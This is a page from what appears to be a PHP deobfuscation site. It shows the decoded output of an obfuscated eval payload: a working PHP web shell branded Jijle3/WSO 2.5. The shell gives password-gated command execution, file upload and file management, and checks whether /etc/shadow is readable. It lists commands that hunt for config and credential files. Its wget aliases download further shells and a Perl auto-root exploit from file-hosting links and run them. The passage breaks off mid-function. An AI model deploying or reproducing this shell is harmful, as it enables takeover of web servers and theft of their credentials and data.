Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34..

Decoded Output download

?><?php 
echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'> 
 <style type='text/css'> 
 input[type=submit], input[type=button], input[type=reset]{ 
    text-align:center; 
    background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666; 
    border:1px solid #4D4D4D; 
    color:#CCCCCC; 
    border-top-color:#565656; 
    padding:4px 6px; 
    margin:4px 5px; 
    height:16px; 
    -moz-box-shadow:0 0 1px black; 
    -webkit-box-shadow:0 0 1px black; 
    box-shadow:0 0 1px black; 
    text-shadow:0 1px black; 
    -moz-border-radius:4px; 
    -webkit-border-radius:4px; 
    -khtml-border-radius:4px; 
    border-radius:4px; 
    height:23px; 
} 
input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{ 
    background-position:center top; 
    text-decoration:none; 
} 
input[type=text], input[type=password]{ 
    background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666; 
    border:1px solid #4D4D4D; 
    color:#CCCCCC; 
    border-top-color:#565656; 
    -moz-box-shadow:0 0 1px black; 
    -webkit-box-shadow:0 0 1px black; 
    box-shadow:0 0 1px black; 
    -moz-border-radius:4px; 
    -webkit-border-radius:4px; 
    -khtml-border-radius:4px; 
    border-radius:4px; 
    height:18px; 
    margin-left: 5px; 
} 
input , textarea , button , body , caption , table ,area , option { 
    outline:none; 
    transition: all 0.20s ease-in-out; 
    -webkit-transition: all 0.25s ease-in-out; 
    -moz-transition: all 0.25s ease-in-out; 
    border-radius:3px; 
    -webkit-border-radius:3px; 
    -moz-border-radius:3px; 
    border:1px solid rgba(0,0,0, 0.2); 
 /*   font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */ 
} 
input , textarea { 
    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; 
} 
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus  { 
    box-shadow: 0 0 5px rgba(0, 0, 255, 1); 
    -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1); 
    -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1); 
    border: 1px solid #CCCC00; 
    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; 
    overflow: auto; 
/*    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */ 
} 
body{ 
/*    font-family : Verdana; */ 
    color : #f9f6f1; 
    font-size : 0.7em; 
    background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525; 
} 
input , textarea { 
    outline:none; 
    transition: all 0.20s ease-in-out; 
    -webkit-transition: all 0.25s ease-in-out; 
    -moz-transition: all 0.25s ease-in-out; 
    border-radius:3px; 
    -webkit-border-radius:3px; 
    -moz-border-radius:3px; 
    border:1px solid rgba(0,0,0, 0.2); 
} 
input:focus, textarea:focus { 
  outline: 0; 
  border-color: rgba(82, 168, 236, 0.8); 
  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); 
  -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); 
  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6); 
    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;'; 
    overflow: auto; 
} 
  </style> 
  "; 
# jijle3 login 
#$auth_pass = md5('Jijle3'); 
#$color = "#df5"; 
#$default_action = 'Home'; 
#$default_use_ajax = true; 
#$default_charset = 'Windows-1251'; 

#if(!empty($_SERVER['HTTP_USER_AGENT'])) { 
  #  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); 
    #if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { 
       # header('HTTP/1.0 404 Not Found'); 
       # exit; 
   # } 
#} 

@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('WSO_VERSION', '2.5'); 

if(get_magic_quotes_gpc()) { 
    function WSOstripslashes($array) { 
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); 
    } 
    $_POST = WSOstripslashes($_POST); 
    $_COOKIE = WSOstripslashes($_COOKIE); 
} 

function wsoLogin() { 
    die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>"); 
} 
function WSOsetcookie($k, $v) { 
    $_COOKIE[$k] = $v; 
    setcookie($k, $v); 
} 

if(!empty($auth_pass)) { 
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) 
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); 

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) 
        wsoLogin(); 
} 

if(strtolower(substr(PHP_OS,0,3)) == "win") 
    $os = 'win'; 
else 
    $os = 'nix'; 

$safe_mode = @ini_get('safe_mode'); 
if(!$safe_mode) 
    error_reporting(0); 

$disable_functions = @ini_get('disable_functions'); 
$home_cwd = @getcwd(); 
if(isset($_POST['c'])) 
    @chdir($_POST['c']); 
$cwd = @getcwd(); 
if($os == 'win') { 
    $home_cwd = str_replace("\", "/", $home_cwd); 
    $cwd = str_replace("\", "/", $cwd); 
} 
if($cwd[strlen($cwd)-1] != '/') 
    $cwd .= '/'; 

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) 
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; 

if($os == 'win') 
    $aliases = array( 
        "List Directory" => "dir", 
        "Find index.php in current dir" => "dir /s /w /b index.php", 
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 
        "Show active connections" => "netstat -an", 
        "Show running services" => "net start", 
        "User accounts" => "net user", 
        "Show computers" => "net view", 
        "ARP Table" => "arp -a", 
        "IP Configuration" => "ipconfig /all" 
    ); 
else 
    $aliases = array( 
          "List dir" => "ls -lha", 
        "list file attributes on a Linux second extended file system" => "lsattr -va", 
          "show opened ports" => "netstat -an | grep -i listen", 
                                    "process status" => "ps aux", 
                              "Jijle3 : Get Nother Shells"=>"",   
                              "Dhanush Shell       | pass:Jijle3"=>"wget http://download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip",      
                              "K2ll33d Shell       "=>"wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip",       
                              "1n73ction Shell   | pass:1n73ction "=>"wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip",      
                              "Cyber Shell           | pass:Jijle3"=>"wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip",  
                              "Jijle3 : Some Commonds"=>"",   
                              "Logged in users"=>"w",    
                              "Last to connect"=>"lastlog",    
                              "IP Addresses"=>"cat /etc/hosts",    
                              "Check MMAP"=>"cat /proc/sys/vm/mmap_min_addr",    
                              "USER WITHOUT PASSWORD!"=>"cut -d: -f1,2,3 /etc/passwd | grep ::",    
                              "List of Cpanel`s domains(valiases)"=>"ls -l /etc/valiases",    
                              "Downloaders?)"=>"which wget curl w3m lynx",         
                              "Show running proccess"=>"ps aux",    
                              "Memory check"=>"cat /proc/meminfo",    
                              "Get cpanel logs"=>"cat /var/cpanel/accounting.log",    
                              "Jijle3 : Auto Root Commonds"=>"",   
                              "First ! : GET Auto Root File [ Perl ]"=>"wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl",   
                              "AutoRoot [ Linux ]"=>"perl phdz.pl linux",    
                              "AutoRoot [ FreeBSD ]"=>"perl phdz.pl bsd",    
                              "AutoRoot [ SunOS ]"=>"perl phdz.pl sunos",    
        "Find" => "", 
          "find all suid files" => "find / -type f -perm -04000 -ls", 
          "find suid files in current dir" => "find . -type f -perm -04000 -ls", 
          "find all sgid files" => "find / -type f -perm -02000 -ls", 
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls", 
          "find config.inc.php files" => "find / -type f -name config.inc.php", 
          "find config* files" => "find / -type f -name \"config*\"", 
          "find config* files in current dir" => "find . -type f -name \"config*\"", 
          "find all writable folders and files" => "find / -perm -2 -ls", 
          "find all writable folders and files in current dir" => "find . -perm -2 -ls", 
          "find all service.pwd files" => "find / -type f -name service.pwd", 
          "find service.pwd files in current dir" => "find . -type f -name service.pwd", 
          "find all .htpasswd files" => "find / -type f -name .htpasswd", 
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", 
          "find all .bash_history files" => "find / -type f -name .bash_history", 
          "find .bash_history files in current dir" => "find . -type f -name .bash_history", 
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", 
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", 
        "Locate" => "", 
          "locate httpd.conf files" => "locate httpd.conf", 
        "locate vhosts.conf files" => "locate vhosts.conf", 
        "locate proftpd.conf files" => "locate proftpd.conf", 
        "locate psybnc.conf files" => "locate psybnc.conf", 
        "locate my.conf files" => "locate my.conf", 
        "locate admin.php files" =>"locate admin.php", 
        "locate cfg.php files" => "locate cfg.php", 
        "locate conf.php files" => "locate conf.php", 
        "locate config.dat files" => "locate config.dat", 
        "locate config.php files" => "locate config.php", 
        "locate config.inc files" => "locate config.inc", 
        "locate config.inc.php" => "locate config.inc.php", 
        "locate config.default.php files" => "locate config.default.php", 
        "locate config* files " => "locate config", 
        "locate .conf files"=>"locate '.conf'", 
        "locate .pwd files" => "locate '.pwd'", 
        "locate .sql files" => "locate '.sql'", 
        "locate .htpasswd files" => "locate '.htpasswd'", 
        "locate .bash_history files" => "locate '.bash_history'", 
        "locate .mysql_history files" => "locate '.mysql_history'", 
        "locate .fetchmailrc files" => "locate '.fetchmailrc'", 
        "locate backup files" => "locate backup", 
        "locate dump files" => "locate dump", 
        "locate priv files" => "locate priv" 
    ); 

function wsoHeader() { 
    if(empty($_POST['charset'])) 
        $_POST['charset'] = $GLOBALS['default_charset']; 
    global $color; 
    if(!$color)    $color = '#df5'; 
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title> 
<style> 
body{background-color:#444;color:#e1e1e1;} 
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } 
table.info{ color:#fff;background-color:#222; } 
span,h1,a{ color: $color !important; } 
span{ font-weight: bolder; } 
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } 
div.content{ padding: 5px;margin-left:5px;background-color:#333; } 
a{ text-decoration:none; } 
a:hover{ text-decoration:underline; } 
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } 
.bigarea{ width:100%;height:250px; } 
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } 
form{ margin:0px; } 
#toolsTbl{ text-align:center; } 
.toolsInp{ width: 300px } 
.main th{text-align:left;background-color:#5e5e5e;} 
.main tr:hover{background-color:#5e5e5e} 
.l1{background-color:#444} 
pre{font-family:Courier,Monospace;} 
</style> 
<script> 
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; 
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."' 
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; 
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; 
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; 
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; 
    var d = document; 
    function set(a,c,p1,p2,p3,charset) { 
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; 
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; 
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; 
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; 
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; 
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        d.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = 'ajax=true'; 
        for(i=0;i<d.mf.elements.length;i++) 
            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); 
        sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); 
    } 
    function sr(url, params) { 
        if (window.XMLHttpRequest) 
            req = new XMLHttpRequest(); 
        else if (window.ActiveXObject) 
            req = new ActiveXObject('Microsoft.XMLHTTP'); 
        if (req) { 
            req.onreadystatechange = processReqChange; 
            req.open('POST', url, true); 
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); 
            req.send(params); 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm'); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            } else alert('Request error!'); 
    } 
                     
</script> 
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> 
<form method=post name=mf style='display:none;'> 
<input type=hidden name=a> 
<input type=hidden name=c> 
<input type=hidden name=p1> 
<input type=hidden name=p2> 
<input type=hidden name=p3> 
<input type=hidden name=charset> 
</form>"; 
    $freeSpace = @diskfreespace($GLOBALS['cwd']); 
    $totalSpace = @disk_total_space($GLOBALS['cwd']); 
    $totalSpace = $totalSpace?$totalSpace:1; 
    $release = @php_uname('r'); 
    $kernel = @php_uname('s'); 
    $explink = 'http://exploit-db.com/search/?action=search&filter_description='; 
    if(strpos('Linux', $kernel) !== false) 
        $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); 
    else 
        $explink .= urlencode($kernel . ' ' . substr($release,0,3)); 
    if(!function_exists('posix_getegid')) { 
        $user = @get_current_user(); 
        $uid = @getmyuid(); 
        $gid = @getmygid(); 
        $group = "?"; 
    } else { 
        $uid = @posix_getpwuid(posix_geteuid()); 
        $gid = @posix_getgrgid(posix_getegid()); 
        $user = $uid['name']; 
        $uid = $uid['uid']; 
        $group = $gid['name']; 
        $gid = $gid['gid']; 
    } 

    $cwd_links = ''; 
    $path = explode("/", $GLOBALS['cwd']); 
    $n=count($path); 
    for($i=0; $i<$n-1; $i++) { 
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; 
        for($j=0; $j<=$i; $j++) 
            $cwd_links .= $path[$j].'/'; 
        $cwd_links .= "\")'>".$path[$i]."/</a>"; 
    } 

    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); 
    $opt_charsets = ''; 
    foreach($charsets as $item) 
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; 

    $m = array('Home'=>'home','Sec Info'=>'SecInfo','Exec'=>'Console','Sql'=>'Sql','Baypass'=>'bypss','Forums'=>'forum','Symlink'=>'symlinker','Domain'=>'domains','Tools'=>'tools','Cgi'=>'cgi','String'=>'StringTools','Network'=>'Network','About'=>'about' );
    if(!empty($GLOBALS['auth_pass'])) 
        $m['Logout'] = 'Logout'; 
    $m['Suicide'] = 'SelfRemove'; 
    $menu = ''; 

    foreach($m as $k => $v) 
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; 
    $drives = ""; 
    if($GLOBALS['os'] == 'win') { 
        foreach(range('c','z') as $drive) 
        if(is_dir($drive.':\')) 
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; 
    } 
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' 
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a>  <a href="http://www.exploit-db.com/search/?action=search&filter_description='.urlencode(@php_uname()).'" target="_blank">[ Exploit-db ]</a> <a href="http://www.1337day.com/search" target="_blank">[ 1337day ]</a> <a href="http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q='.urlencode(@php_uname()).'" target="_blank">[ ExploitSearch ]</a> <a href="http://www.shodanhq.com/exploits?q='.urlencode(@php_uname()).'" target="_blank">[ Shodanhq ]</a> </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' ) <span>Locals Pack :</span><a href="http://rghost.net/6YYsd7ynN" target="_blank">  [ Download ]</a></b> <br>' . @phpversion() . '<span>Safe mode:</span> '  
       . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font> '  )  
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td>' 
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br> 
</td></tr></table>' 
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; 
} 


function wsoFooter() { 
    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; 
    echo " 
</div> 
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'> 
    <tr> 
        <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> 
        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> 
        <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> 
        <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td> 
    </tr></table></div></body></html>"; 
} 

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { 
    function posix_getpwuid($p) {return false;} } 
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { 
    function posix_getgrgid($p) {return false;} } 

function wsoEx($in) { 
    $out = ''; 
    if (function_exists('exec')) { 
        @exec($in,$out); 
        $out = @join("
",$out); 
    } elseif (function_exists('passthru')) { 
        ob_start(); 
        @passthru($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists('system')) { 
        ob_start(); 
        @system($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists('shell_exec')) { 
        $out = shell_exec($in); 
    } elseif (is_resource($f = @popen($in,"r"))) { 
        $out = ""; 
        while(!@feof($f)) 
            $out .= fread($f,1024); 
        pclose($f); 
    } 
    return $out; 
} 

function wsoViewSize($s) { 
    if($s >= 1073741824) 
        return sprintf('%1.2f', $s / 1073741824 ). ' GB'; 
    elseif($s >= 1048576) 
        return sprintf('%1.2f', $s / 1048576 ) . ' MB'; 
    elseif($s >= 1024) 
        return sprintf('%1.2f', $s / 1024 ) . ' KB'; 
    else 
        return $s . ' B'; 
} 

function wsoPerms($p) { 
    if (($p & 0xC000) == 0xC000)$i = 's'; 
    elseif (($p & 0xA000) == 0xA000)$i = 'l'; 
    elseif (($p & 0x8000) == 0x8000)$i = '-'; 
    elseif (($p & 0x6000) == 0x6000)$i = 'b'; 
    elseif (($p & 0x4000) == 0x4000)$i = 'd'; 
    elseif (($p & 0x2000) == 0x2000)$i = 'c'; 
    elseif (($p & 0x1000) == 0x1000)$i = 'p'; 
    else $i = 'u'; 
    $i .= (($p & 0x0100) ? 'r' : '-'); 
    $i .= (($p & 0x0080) ? 'w' : '-'); 
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); 
    $i .= (($p & 0x0020) ? 'r' : '-'); 
    $i .= (($p & 0x0010) ? 'w' : '-'); 
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); 
    $i .= (($p & 0x0004) ? 'r' : '-'); 
    $i .= (($p & 0x0002) ? 'w' : '-'); 
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); 
    return $i; 
} 

function wsoPermsColor($f) { 
    if (!@is_readable($f)) 
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; 
    elseif (!@is_writable($f)) 
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; 
    else 
        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; 
} 

function wsoScandir($dir) { 
    if(function_exists("scandir")) { 
        return scandir($dir); 
    } else { 
        $dh  = opendir($dir); 
        while (false !== ($filename = readdir($dh))) 
            $files[] = $filename; 
        return $files; 
    } 
} 

function wsoWhich($p) { 
    $path = wsoEx('which ' . $p); 
    if(!empty($path)) 
        return $path; 
    return false; 
} 

function actionSecInfo() { 
    wsoHeader(); 
//Sec info 
echo '<h1>Server Security Info</h1><div class=content>'; 
?> 
</div> 
</center> 
<?php 
    function wsoSecParam($n, $v) { 
        $v = trim($v); 
        if($v) { 
            echo '<span>' . $n . ': </span>'; 
            if(strpos($v, "
") === false) 
                echo $v . '<br>'; 
            else 
                echo '<pre class=ml1>' . $v . '</pre>'; 
        } 
    } 

    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); 
    if(function_exists('apache_get_modules')) 
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); 
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); 
    wsoSecParam('Open base dir', @ini_get('open_basedir')); 
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); 
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); 
    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); 
    $temp=array(); 
    if(function_exists('mysql_get_client_info')) 
        $temp[] = "MySql (".mysql_get_client_info().")"; 
    if(function_exists('mssql_connect')) 
        $temp[] = "MSSQL"; 
    if(function_exists('pg_connect')) 
        $temp[] = "PostgreSQL"; 
    if(function_exists('oci_connect')) 
        $temp[] = "Oracle"; 
    wsoSecParam('Supported databases', implode(', ', $temp)); 
    echo '<br>'; 

    if($GLOBALS['os'] == 'nix') { 
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); 
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); 
        wsoSecParam('OS version', @file_get_contents('/proc/version')); 
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); 
        if(!$GLOBALS['safe_mode']) { 
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); 
            $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); 
            echo '<br>'; 
            $temp=array(); 
            foreach ($userful as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Userful', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($danger as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Danger', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($downloaders as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Downloaders', implode(', ',$temp)); 
            echo '<br/>'; 
            wsoSecParam('HDD space', wsoEx('df -h')); 
            wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); 
        } 
    } else { 
        wsoSecParam('OS Version',wsoEx('ver')); 
        wsoSecParam('Account Settings',wsoEx('net accounts')); 
        wsoSecParam('User Accounts',wsoEx('net user')); 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
################# Home  ################# 
function actionhome() { 
wsoHeader(); 
//Home 
echo' 
<center> 
<h1>[ Salam &hearts; Alaykoum ]</h1> 
<br /><br /> 
</form> 
'; 
?><head> 
<body bgcolor="Black"><table width=100% height=100%><td align="center"> 
<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew  2015 " width="478" ></img></img><p> 
</img></img><p> 
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R"> 
Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p> 
<span>[ Say Hamd Li ' Allah &hearts;  ] </span> 
<p> 

<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p> 
<p> 
<pre> 
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&amp;width&amp;height=62&amp;colorscheme=light&amp;show_faces=false&amp;header=true&amp;stream=false&amp;show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre> 
<p> 
<? 
echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]); 
echo '</center><br>'; 
echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />"; 
echo " &nbsp;&nbsp;&nbsp;&nbsp; <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com 
 </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href='http://zone-h.com/archive/ip=".$serverIP." 
' target=\"_blank\">Zone-H.org</a>&nbsp;&nbsp;-&nbsp;&nbsp<a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/ 
' target=\"_blank\">Yougetsignal.com</a> 
&nbsp;&nbsp;-&nbsp;&nbsp; <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com 
 </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href='https://pentest-tools.com/ 
' target=\"_blank\">Pentest-Tools.com</a> 
</b></center><br>"; 
wsoFooter();} 
################# End Home  ################# 
function actionlfiscan() { 
    wsoHeader(); 
    print ' 
